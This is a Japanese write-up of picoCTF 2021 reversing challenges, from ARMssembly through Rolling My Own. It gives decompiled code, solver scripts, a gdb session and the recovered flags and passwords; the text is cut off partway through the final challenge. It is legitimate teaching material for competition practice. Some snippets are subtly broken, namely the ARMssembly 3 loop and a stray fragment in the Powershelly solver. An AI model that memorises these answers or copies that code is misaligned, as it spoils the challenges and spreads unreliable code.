ARMssembly 3
他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。
chall.Sを手動逆コンパイルすると以下のコードになります。
#include <stdio.h> int func2(int a) { return a + 3; } int func1(int a) { int var_2 = 0; for (int i = a; a != 0; a >> 1) { if (i & 1 != 0) { var_2 = func2(var_2); } } } int main(int argc, char *argv[]) { int tmp = atoi(argv[1]); printf("Result: %ld", func1(tmp)); }
実行時に与えられた第一引数を整数に変換し、その値に立っているビットを数えて3倍するだけです。
3350728462
を与えたときの結果を16進8桁にしたものは以下のようになります
$ python -c 'print("{:08x}".format(bin(3350728462).count("1")*3))' 00000030
よって、picoCTF{00000030}
がフラグとなります。
gogo
enter_passwordというgoで書かれたプログラムのバイナリが渡されます。実行するとパスワードの入力を促されます。
$ ./enter_password Enter Password:
とりあえずでコンパイルしてmain関数を見ていきます。
void main.main(void) { uint *puVar1; int iVar2; int *in_GS_OFFSET; undefined4 *in_stack_ffffffac; undefined4 *puVar3; char cVar4; undefined *local_30; undefined **local_2c; undefined *local_28; undefined **local_24; undefined *local_20; undefined **local_1c; undefined *local_18 [2]; undefined *local_10; undefined **local_c; undefined *local_8; undefined4 *local_4; undefined **ppuVar5; puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8); if (register0x00000010 < (undefined *)*puVar1 || (undefined *)register0x00000010 == (undefined *)*puVar1) { local_4 = (undefined4 *)0x80d4a7b; runtime.morestack_noctxt(); main.main(); return; } runtime.newobject(&DAT_080e8860); fmt.Printf(&DAT_080fea50,0x10,0,0,0); local_18[0] = &DAT_080e1300; ppuVar5 = local_18; fmt.Scanf(&DAT_080fd1b6,3,ppuVar5,1,1); cVar4 = (char)ppuVar5; main.checkPassword(*in_stack_ffffffac,in_stack_ffffffac[1]); if (cVar4 == '\0') { local_10 = &DAT_080e8860; local_c = &main.statictmp_3; fmt.Println(&local_10,1,1); } else { local_20 = &DAT_080e8860; local_1c = &main.statictmp_0; fmt.Println(&local_20,1,1); local_28 = &DAT_080e8860; local_24 = &main.statictmp_1; fmt.Println(&local_28,1,1); local_30 = &DAT_080e8860; local_2c = &main.statictmp_2; puVar3 = (undefined4 *)0x1; fmt.Println(&local_30,1,1); runtime.newobject(&DAT_080e8860); local_8 = &DAT_080e1300; local_4 = puVar3; fmt.Scanf(&DAT_080fd1b6,3,&local_8,1,1); main.ambush(*puVar3,puVar3[1]); iVar2 = runtime.deferproc(0,&PTR_main.get_flag_081046a0); if (iVar2 != 0) { runtime.deferreturn(); return; } } runtime.deferreturn(); return; }
main.checkPassword
関数でパスワードをチェックした後にもう一度入力を受け付けてmain.ambush
関数を呼んでおり、その後にmain.get_flag
が呼び出されそうです。
まず、main.checkPassword
関数を見ていきます。
void main.checkPassword(int param_1,uint param_2,undefined param_3) { uint *puVar1; uint uVar2; int iVar3; int *in_GS_OFFSET; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; undefined4 local_2c; undefined4 local_28; undefined4 local_24; byte local_20 [28]; undefined4 uStack4; puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8); if (register0x00000010 < (undefined *)*puVar1 || (undefined *)register0x00000010 == (undefined *)*puVar1) { uStack4 = 0x80d4b72; runtime.morestack_noctxt(); main.checkPassword(); return; } if ((int)param_2 < 0x20) { os.Exit(0); } FUN_08090b18(); local_40 = 0x38313638; local_3c = 0x31663633; local_38 = 0x64336533; local_34 = 0x64373236; local_30 = 0x37336166; local_2c = 0x62646235; local_28 = 0x39383338; local_24 = 0x65343132; FUN_08090fe0(); uVar2 = 0; iVar3 = 0; while( true ) { if (0x1f < (int)uVar2) { if (iVar3 == 0x20) { return; } return; } if ((param_2 <= uVar2) || (0x1f < uVar2)) break; if ((*(byte *)(param_1 + uVar2) ^ *(byte *)((int)&local_40 + uVar2)) == local_20[uVar2]) { iVar3 = iVar3 + 1; } uVar2 = uVar2 + 1; } runtime.panicindex(); do { invalidInstructionException(); } while( true ); }
この関数を詳しく読んでPythonで書き直すと以下のようになります。
def checkPassword(inp: bytes, inp_len: int): local_20 = b"\x4a\x53\x47\x5d\x41\x45\x03\x54\x5d\x02\x5a\x0a\x53\x57\x45\x0d\x05\x00\x5d\x55\x54\x10\x01\x0e\x41\x55\x57\x4b\x45\x50\x46\x01" local_40 = b"861836f13e3d627dfa375bdb8389214e" if inp_len < 0x20: exit(0) uVar2 = 0 iVar3 = 0 while True: if 0x1f < uVar2: if iVar3 == 0x20: return 1 else: return 0 if inp[uVar2] ^ local_40[uVar2] == local_20[uVar2]: iVar3 += 1 uVar2 += 1
書き直したPythonコードから正しいパスワードとlocal_40でxorをとったものがlocal_20になればいいとわかるので、local_40とlocal_20でxorをとればパスワードが求められます。よって、パスワードはreverseengineericanbarelyforward
だとわかります。
次に、main.ambush
関数を見ていきます。
void main.ambush(undefined4 param_1,undefined4 param_2) { uint *puVar1; char cVar2; uint i; int *in_GS_OFFSET; int local_88; uint local_84; uint local_80; undefined local_70 [16]; undefined4 local_60; undefined4 local_5c; undefined4 local_58; undefined4 local_54; undefined4 local_50; undefined4 local_4c; undefined4 local_48; undefined4 local_44; undefined local_40 [32]; undefined local_20 [12]; undefined local_14 [16]; undefined4 uStack4; puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8); if (local_14 < (undefined *)*puVar1 || local_14 == (undefined *)*puVar1) { uStack4 = 0x80d4e4b; runtime.morestack_noctxt(); main.ambush(); return; } runtime.stringtoslicebyte(local_40,param_1,param_2); crypto/md5.Sum(local_88,local_84,local_80); FUN_08091008(); FUN_08090b18(); local_60 = 0x38313638; local_5c = 0x31663633; local_58 = 0x64336533; local_54 = 0x64373236; local_50 = 0x37336166; local_4c = 0x62646235; local_48 = 0x39383338; local_44 = 0x65343132; uVar3 = 0; while( true ) { if (0xf < (int)uVar3) { return; } encoding/hex.EncodeToString(local_70,0x10,0x10); if (local_84 <= uVar3) break; cVar2 = *(char *)(uVar3 + local_88); local_88 = 0x20; runtime.slicebytetostring(local_20,&local_60,0x20); if (local_80 <= uVar3) break; if (cVar2 != *(char *)(local_84 + uVar3)) { os.Exit(0); } i = i + 1; } runtime.panicindex(); do { invalidInstructionException(); } while( true ); }
この関数をPythonで大まかに書き直すと以下のようになります。
import hashlib import binascii def ambush(inp: bytes, inp_len: int): local_60 = "861836f13e3d627dfa375bdb8389214e" local_88 = hashlib.md5(inp).digest() uVar3 = 0 while True: if 0xf < uVar3: return cVar2 = local_88[uVar3] local_84 = binascii.unhexlify(local_60) if cVar2 != local_84[uVar3]: exit(0) uVar3 += 1
入力した文字列のmd5ハッシュを求め861836f13e3d627dfa375bdb8389214e
かどうかチェックしているだけです。md5ハッシュが861836f13e3d627dfa375bdb8389214e
となる文字列をcrackstationで探すとgoldfish
が見つかりました。
後は得られた2つの文字列を順番に入力すればフラグが手に入ります。
$ nc mercury.picoctf.net 35862 Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key? goldfish Flag is: picoCTF{p1kap1ka_p1c05729981f}
Goで書かれたプログラムのデコンパイル結果は少し読みにくいので逆アセンブル結果も併せて読むと理解しやすいと思います。
Easy as GDB
bruteというELF形式の実行ファイルが与えられます。実行してみるとフラグの入力を求められます。
$ ./brute input the flag: hogehoge checking solution... Incorrect.
Ghidraでデコンパイルしてmain関数を見ていきます。
undefined4 FUN_000109af(void) { char *__s; size_t sVar1; undefined4 uVar2; int iVar3; __s = (char *)calloc(0x200,1); printf("input the flag: "); fgets(__s,0x200,stdin); sVar1 = strnlen(&DAT_00012008,0x200); uVar2 = FUN_0001082b(__s,sVar1); FUN_000107c2(uVar2,sVar1,1); iVar3 = FUN_000108c4(uVar2,sVar1); if (iVar3 == 1) { puts("Correct!"); } else { puts("Incorrect."); } return 0; }
fgetsで標準入力から文字列を受け取り、FUN_000107c2
とFUN_0001082b
に渡しています。
FUN_000107c2
は第一引数として与えられた文字列を並び替える関数で第三引数が1かそれ以外かで動作が異なります。FUN_000107c2
の第三引数に1を与えて並び替えた後に、第三引数に1ではない値を与えてもう一度呼び出すと元の並びに戻る点が重要です。
FUN_0001082b
は第一引数として与えられた文字列と何らかの値でxorを取る関数です。
FUN_000108c4
の返り値を見て正解か不正解かを判断しているので、FUN_000108c4
を見てみます。
undefined4 FUN_000108c4(char *param_1,uint param_2) { char *__dest; char *__dest_00; uint local_18; __dest = (char *)calloc(param_2 + 1,1); strncpy(__dest,param_1,param_2); FUN_000107c2(__dest,param_2,0xffffffff); __dest_00 = (char *)calloc(param_2 + 1,1); strncpy(__dest_00,&DAT_00012008,param_2); FUN_000107c2(__dest_00,param_2,0xffffffff); puts("checking solution..."); local_18 = 0; while( true ) { if (param_2 <= local_18) { return 1; } if (__dest[local_18] != __dest_00[local_18]) break; local_18 = local_18 + 1; } return 0xffffffff; }
whileの部分を見ると__dest
と__dest_00
を一文字ずつ比較し全て一致していれば1そうでなければ-1を返しています。
gdbを使ってwhile文に入る前の__dest
と__dest_00
の中身を見てみます。
gdb -q brute pwndbg: loaded 193 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from brute...(no debugging symbols found)...done. pwndbg> b *0x56555953 Breakpoint 1 at 0x56555953 pwndbg> r Starting program: /home/vagrant/picoCTF_2021/easy_as_gdb/brute input the flag: hogehoge Breakpoint 1, 0x56555953 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────── EAX 0x1e EBX 0x56556fb8 ◂— 0x1ec0 ECX 0x56558bf0 ◂— 0x68406e2e ('.n@h') EDX 0x56558c0d ◂— 0x7a /* 'z' */ EDI 0x0 ESI 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c EBP 0xffffd8e8 —▸ 0xffffd918 ◂— 0x0 ESP 0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h') EIP 0x56555953 ◂— add esp, 0x10 ────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────── ► 0x56555953 add esp, 0x10 0x56555956 sub esp, 0xc 0x56555959 lea eax, [ebx - 0x1468] 0x5655595f push eax 0x56555960 call puts@plt <puts@plt> 0x56555965 add esp, 0x10 0x56555968 mov dword ptr [ebp - 0x18], 1 0x5655596f mov dword ptr [ebp - 0x14], 0 0x56555976 jmp 0x5655599f <0x5655599f> 0x56555978 mov edx, dword ptr [ebp - 0x10] 0x5655597b mov eax, dword ptr [ebp - 0x14] ─────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h') 01:0004│ 0xffffd8c4 ◂— 0x1e 02:0008│ 0xffffd8c8 ◂— 0xffffffff 03:000c│ 0xffffd8cc —▸ 0x565558d0 ◂— add ebx, 0x16e8 04:0010│ 0xffffd8d0 ◂— 0x1e 05:0014│ 0xffffd8d4 ◂— 0x1d 06:0018│ 0xffffd8d8 —▸ 0x56558bc0 ◂— 0x62446836 ('6hDb') 07:001c│ 0xffffd8dc —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h') ───────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────── ► f 0 56555953 f 1 56555a60 f 2 f7df1f21 __libc_start_main+241 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0x56558bc0 0x56558bc0: "6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\a" pwndbg> x/s 0x56558bf0 0x56558bf0: ".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z" pwndbg>
hogehogeと入力した時の__dest
は6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\a
となっており、__dest_00
は.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z
となっています。
__dest
に着目します。
__dest
はparam_1をコピーしてFUN_000107c2
で並び替らえた文字列です。そのparam_1はfgetsで取得した文字列をFUN_0001082b
で加工しFUN_000107c2
で並び替えたものです。二度FUN_000107c2
に通されており、最初のFUN_000107c2
では第三引数に1を与えられ2度目のFUN_000107c2
では第三引数に-1を与えられているため並べ替えをしていないのと同等です。つまり、入力した文字列をFUN_0001082b
に通しただけの状態となっています。
よって、FUN_0001082b
を通して.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z
となる文字列を総当りで求めるとフラグが手に入ります。
from itertools import product import string def FUN_0001082b(s, slen): buf = s + bytearray((slen & 0xfffffffc) + 4 - len(s)) ctr = 0xabcf00d while (ctr < 0xdeadbeef): buf = FUN_000106bd(buf, (slen & 0xfffffffc) + 4, ctr) ctr += 0x1fab4d return buf def FUN_000106bd(buf, slen, val): local = [ (val >> 0x18) & 0xff, (val >> 0x10) & 0xff, (val >> 8) & 0xff, val & 0xff ] ctr = 0 while ctr < slen: buf[ctr] = buf[ctr] ^ local[ctr % 4] ctr += 1 return buf expected = bytearray(b".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z") candidates = string.printable flag = bytearray(b"picoCTF{") for i in range(len(expected) - len(flag)): for c in candidates: tmp_flag = flag + c.encode() tmp = FUN_0001082b(tmp_flag, len(expected)) idx = len(tmp_flag) if tmp[idx-1] == expected[idx-1]: break flag = tmp_flag print(f"[+] flag: {flag}")
$ python solve.py [+] flag: bytearray(b'picoCTF{I') [+] flag: bytearray(b'picoCTF{I_') [+] flag: bytearray(b'picoCTF{I_5') [+] flag: bytearray(b'picoCTF{I_5D') [+] flag: bytearray(b'picoCTF{I_5D3') [+] flag: bytearray(b'picoCTF{I_5D3_') [+] flag: bytearray(b'picoCTF{I_5D3_A') [+] flag: bytearray(b'picoCTF{I_5D3_A1') [+] flag: bytearray(b'picoCTF{I_5D3_A11') [+] flag: bytearray(b'picoCTF{I_5D3_A11D') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e54') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e545') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458c') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cb') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf') [+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf}')
ARMssembly 4
他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。
chall.Sを手動逆コンパイルすると以下のコードになります。
// decompile.c #include <stdio.h> typedef unsigned int uint; uint func1(uint); uint func2(uint); uint func3(uint); uint func4(uint); uint func5(uint); uint func6(uint); uint func7(uint); uint func8(uint); uint func8(uint a) { return a + 2; } uint func7(uint a) { if (a > 100) { return a; } else { return 7; } } uint func6(uint a) { uint b = 314; uint c = 1932; for (uint i = 0; i <= 899; i++) { a = (800 * c) - ((800 * c) / b) * b; } return a; } uint func5(uint a) { a = func8(a); return a; } uint func4(uint a) { uint b = 17; b = func1(b); return a; } uint func3(uint a) { return func7(a); } uint func2(uint a) { if (a <= 499) { return func4(a - 86); } else { return func5(a + 13); } } uint func1(uint a) { if (a > 100) { return func2(a + 100); } else { return func3(a); } } int main(int argc, char *argv[]) { uint tmp = atoi(argv[1]); printf("Result: %ld\n", func1(tmp)); }
これをコンパイルして引数に3964545182を与えて実行してみます。
$ gcc -o decompile decompile.c $ ./decompile 3964545182 Result: 3964545297
3964545297と出てきました。これを16進8桁の値に変換してpicoCTF{}
で包んだpicoCTF{ec4e2911}
がフラグとなります。
Powershelly
rev_PS.ps1とoutput.txtが与えられます。
$input = ".\input.txt" $out = Get-Content -Path $input $enc = [System.IO.File]::ReadAllBytes("$input") $encoding = [system.Text.Encoding]::UTF8 $total = 264 $t = ($total + 1) * 5 $numLength = ($total * 30 ) + $t if ($out.Length -gt 5 -or $enc.count -ne $numLength) { Write-Output "Wrong format 5" Exit } else { for($i=0; $i -lt $enc.count ; $i++) { if (($enc[$i] -ne 49) -and ($enc[$i] -ne 48) -and ($enc[$i] -ne 10) -and ($enc[$i] -ne 13) -and ($enc[$i] -ne 32)) { Write-Output "Wrong format 1/0/" Exit } } } $blocks = @{} for ($i=0; $i -lt $out.Length ; $i++) { $r = $out[$i].Split(" ") if ($i -gt 0) { for ($j=0; $j -lt $r.Length ; $j++) { if ($r[$j].Length -ne 6) { Write-Output "Wrong Format 6" $r[$j].Length Exit } $blocks[$j] += $r[$j] } } else { for ($j=0; $j -lt $r.Length ; $j++) { if ($r[$j].Length -ne 6) { Write-Output "Wrong Format 6" $r[$j].Length Exit } $blocks[$j] = @() $blocks[$j] += $r[$j] } } } function Exit { exit } function Random-Gen { $list1 = @() for ($i=1; $i -lt ($blocks.count + 1); $i++) { $y = ((($i * 327) % 681 ) + 344) % 313 $list1 += $y } return $list1 } function Scramble { param ( $block, $seed ) $raw = [system.String]::Join("", $block) $bm = "10 " * $raw.Length $bm = $bm.Split(" ") for ($i=0; $i -lt $raw.Length ; $i++) { $y = ($i * $seed) % $raw.Length $n = $bm[$y] while ($n -ne "10") { $y = ($y + 1) % $raw.Length $n = $bm[$y] } if ($raw[$i] -eq "1" ) { $n = "11" } else { $n = "00" } $bm[$y] = $n } $raw2 = [system.String]::Join("", $bm) $b = [convert]::ToInt64($raw2,2) return $b } $result = 0 $seeds = @() for ($i=1; $i -lt ($blocks.count +1); $i++) { $seeds += ($i * 127) % 500 } $randoms = Random-Gen $output_file = @() for ($i=0; $i -lt $blocks.count ; $i++) { $fun = Scramble -block $blocks[$i] -seed $seeds[$i] if($i -eq 263) { Write-Output $seeds[$i] Write-Output $randoms[$i] Write-Output $fun } $result = $fun -bxor $result -bxor $randoms[$i] $output_file += $result } Add-Content -Path output.txt -Value $output_file
大まかに処理をまとめると
- input.txtの読み込み。正しい形式でない場合
Wrong Format
と表示して終了 - seedsとrandomsの生成
- iがblock数より大きければoutput_fileをoutput.txtというファイルに保存。そうでなければ以下の処理を行う
- Scramble関数でi番目のblockの中身をかき混ぜる
- funと直前のresultでxorをとり、さらにi番目の乱数とxorをとる。これをresultに代入する
- resultをoutput_fileに追加する
- iに1加えて3に戻る
このようになっています。
Scramble関数に着目します。この関数では与えられたblockの中身をかき混ぜているのですが、どう混ぜるかはseedによって決まっています。このseedは既にわかっている情報です。よって、どことどこが入れ替わっているか求めることができ元のblockを復元できます。
後は1番目のブロック、2番目のブロック...と順番に復元していけばinput.txtを復元できます。
MAX_BLOCK = 265 def random_gen(blocks_num): list1 = [] for i in range(1, blocks_num + 1): y = (((i * 327) % 681) + 344) % 313 list1.append(y) return list1 def scramble(raw_block, seed): bm = ("10 " * len(raw_block)).split(" ") for i in range(0, len(raw_block)): y = (i * seed) % len(raw_block) n = bm[y] while n != "10": y = (y + 1) % len(raw_block) n = bm[y] if raw_block[i] == "1": n = "11" else: n = "00" bm[y] = n return int("".join(bm), 2) seeds = [] for i in range(1, blocks_num + 1): seeds.append((i * 127) % 500) return seeds randoms = random_gen(MAX_BLOCK) with open("output.txt") as f: before_res = 0 blocks = [] for i, line in enumerate(f.readlines()): x = before_res ^ int(line) ^ randoms[i] raw_length = 30 indices = [] result_s = "0" * raw_length x_s = bin(x)[2:].replace("11", "1").replace("00", "0") x_s = "0" * (raw_length - len(x_s)) + x_s for j in range(0, raw_length): y = (j * seeds[i]) % raw_length while y in indices: y = (y + 1) % raw_length result_s = result_s[:j] + x_s[y] + result_s[j+1:] indices.append(y) assert x == scramble(result_s, seeds[i]) blocks.append([result_s[i:i+6] for i in range(0, raw_length, 6)]) before_res = int(line) lines = ["" for _ in range(5)] for block in blocks: for i in range(5): lines[i] += block[i] with open("input.txt", "w") as f: for line in lines: f.write(line+"\n")
$ python rev.py $ cat input.txt 100001110011110011110011100001100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001100001110011110011100001110011110011100001110011110011110011110011100001110011100001100001100001100001110011110011100001110011100001110011100001110011100001100001100001110011100001100001100001110011110011100001100001110011110011110011110011100001110011110011100001100001110011110011100001100001110011100001100001100001110011110011100001100001100001100001100001100001110011110011100001100001100001110011100001100001110011110011110011100001100001100001100001110011110011100001110011100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001110011110011110011100001110011110011100001110011100001100001100001100001110011110011110011100001110011110011110011100001110011100001100001100001100001100001100001100001110011110011110011110011100001100001110011100001110011100001110011110011110011110011110011100001100001110011110011100001100001110011100001100001110011100001110011110011110011110011110011100001110011110011110011100001100001100001100001100001110011110011100001110011110011110011110011100001110011110011110011100001110011110011110011100001100001110011110011100001100001110011110011100001110011110011110011100001100001110011100001100001100001110011100001100001110011100001100001100001110011110011100001110011100001100001100001100001110011110011100001100001110011100001110011100001110011110011100001110011110011100001100001100001100001110011100001100001100001100001110011100001110011110011110011110011110011100001110011 001100100011100011100011001100001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100001100100011100011001100100011100011001100100011100011100011100011001100100011001100001100001100001100100011100011001100100011001100100011001100100011001100001100001100100011001100001100001100100011100011001100001100100011100011100011100011001100100011100011001100001100100011100011001100001100100011001100001100001100100011100011001100001100001100001100001100001100100011100011001100001100001100100011001100001100100011100011100011001100001100001100001100100011100011001100100011001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100100011100011100011001100100011100011001100100011001100001100001100001100100011100011100011001100100011100011100011001100100011001100001100001100001100001100001100001100100011100011100011100011001100001100100011001100100011001100100011100011100011100011100011001100001100100011100011001100001100100011001100001100100011001100100011100011100011100011100011001100100011100011100011001100001100001100001100001100100011100011001100100011100011100011100011001100100011100011100011001100100011100011100011001100001100100011100011001100001100100011100011001100100011100011100011001100001100100011001100001100001100100011001100001100001100100011001100001100100011100011001100100011001100001100001100001100100011100011001100001100100011001100100011001100100011100011001100100011100011001100001100001100001100100011001100001100001100001100100011001100100011100011100011100011100011001100100011 001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011 001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011 100001000000000000000000100001100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001100001000000000000100001000000000000100001000000000000000000000000100001000000100001100001100001100001000000000000100001000000100001000000100001000000100001100001100001000000100001100001100001000000000000100001100001000000000000000000000000100001000000000000100001100001000000000000100001100001000000100001100001100001000000000000100001100001100001100001100001100001000000000000100001100001100001000000100001100001000000000000000000100001100001100001100001000000000000100001000000100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001000000000000000000100001000000000000100001000000100001100001100001100001000000000000000000100001000000000000000000100001000000100001100001100001100001100001100001100001000000000000000000000000100001100001000000100001000000100001000000000000000000000000000000100001100001000000000000100001100001000000100001100001000000100001000000000000000000000000000000100001000000000000000000100001100001100001100001100001000000000000100001000000000000000000000000100001000000000000000000100001000000000000000000100001100001000000000000100001100001000000000000100001000000000000000000100001100001000000100001100001100001000000100001100001000000100001100001100001000000000000100001000000100001100001100001100001000000000000100001100001000000100001000000100001000000000000100001000000000000100001100001100001100001000000100001100001100001100001000000100001000000000000000000000000000000100001000000
何やら似たようなパターンが連続しているような感じがします。わかりやすくするため0を黒、1を白として画像にしてみます。
from PIL import Image, ImageDraw with open("input.txt") as f: data = f.readlines() img = Image.new('L', (len(data[0]), 5)) draw = ImageDraw.Draw(img) for y, line in enumerate(data): for x, c in enumerate(line): if c == "0": draw.point((x, y), fill=(0)) else: draw.point((x, y), fill=(255)) img.show()
小さな画像ですが01110000...
という文字列が出てきました。後はこれを8bitずつ区切って文字列に変換すればフラグが得られます。
zero = ["100001001100001100001100100001", "100001100011001100001100100001"] one = ["110011100011110011110011000000", "110011001100110011110011000000"] with open("input.txt") as f: data = f.readlines() bin_flag = "" flag = "" data = [d.rstrip() for d in data] for i in range(0, len(data[0]), 6): rows = "" for j in range(5): rows += data[j][i:i+6] if rows in zero: bin_flag += "0" elif rows in one: bin_flag += "1" if len(bin_flag) == 8: flag += chr(int(bin_flag, 2)) bin_flag = "" print(flag)
$ python solve.py picoCTF{2018highw@y_2_pow3r$hel!}
Rolling My Own
remoteというELF形式の実行ファイルが与えられます。
実行するとPassword:
と表示されるので適当に入力してやるとillegal hardware instruction
やsegmentation fault
と出て終了します。
./remote Password: hoge zsh: segmentation fault (core dumped) ./remote
Ghidraでデコンパイルしてmain関数を見ます。
undefined8 FUN_00100b6a(void) { size_t sVar1; void *__ptr; undefined8 *puVar2; long in_FS_OFFSET; int local_100; int local_fc; int local_e8 [4]; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined8 local_b8; undefined8 local_b0; undefined local_a8; char acStack153 [65]; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); local_c8 = 0x57456a4d614c7047; local_c0 = 0x6b6d6e6e6a4f5670; local_b8 = 0x367064656c694752; local_b0 = 0x736c787a6563764d; local_a8 = 0; local_e8[0] = 8; local_e8[1] = 2; local_e8[2] = 7; local_e8[3] = 1; memset(acStack153 + 1,0,0x40); memset(local_58,0,0x40); printf("Password: "); fgets(acStack153 + 1,0x40,stdin); sVar1 = strlen(acStack153 + 1); acStack153[sVar1] = '\0'; local_100 = 0; while (local_100 < 4) { strncat(local_58,acStack153 + (long)(local_100 << 2) + 1,4); strncat(local_58,(char *)((long)&local_c8 + (long)(local_100 << 3)),8); local_100 = local_100 + 1; } __ptr = malloc(0x40); sVar1 = strlen(local_58); FUN_00100e3e(__ptr,local_58,sVar1 & 0xffffffff); local_100 = 0; while (local_100 < 4) { local_fc = 0; while (local_fc < 4) { *(undefined *)((long)&local_d8 + (long)(local_fc * 4 + local_100)) = *(undefined *)((long)__ptr + (long)(local_e8[local_fc] + local_fc * 0x10 + local_100)); local_fc = local_fc + 1; } local_100 = local_100 + 1; } puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0); *puVar2 = local_d8; puVar2[1] = local_d0; (*(code *)puVar2)(FUN_0010102b); free(__ptr); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
main関数をPythonで書き直すと以下のようになります。
# decompile.py from hashlib import md5 def md5hash(buf, blen): if blen % 0xc == 0: block_num = blen // 0xc else: block_num = blen // 0xc + 1 result = bytearray(0x40) for i in range(block_num): if i != block_num - 1 and blen % 0xc != 0: tmp = buf[i*0xc:i*0xc+block_num] else: tmp = buf[i*0xc:i*0xc+0xc] m5 = md5() m5.update(tmp) digest = m5.digest() for j in range(0x10): result[(i * 0x10 + j) & 0x3f] = digest[j] return result hoge = [0x57456a4d614c7047, 0x6b6d6e6e6a4f5670, 0x367064656c694752, 0x736c787a6563764d] hoge = [h.to_bytes(8, "little") for h in hoge] # fgets(inp, 0x40, stdin) inp = b"D1v1" + b"bbbbccccdddd" inp = inp + bytes(0x40 - len(inp)) tmp_inp = inp data = b"" for i in range(4): data += tmp_inp[:4] + hoge[i] tmp_inp = tmp_inp[4:] h = md5hash(data, len(data)) local_e8 = [8, 2, 7, 1] local_d8 = bytearray(16) for i in range(4): for j in range(4): local_d8[j * 4 + i] = h[local_e8[j] + j * 0x10 + i] # local_d8の中身がmmapで確保された領域に書き込まれ、呼び出される # puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0); # *puVar2 = local_d8; # puVar2[1] = local_d0; # (*(code 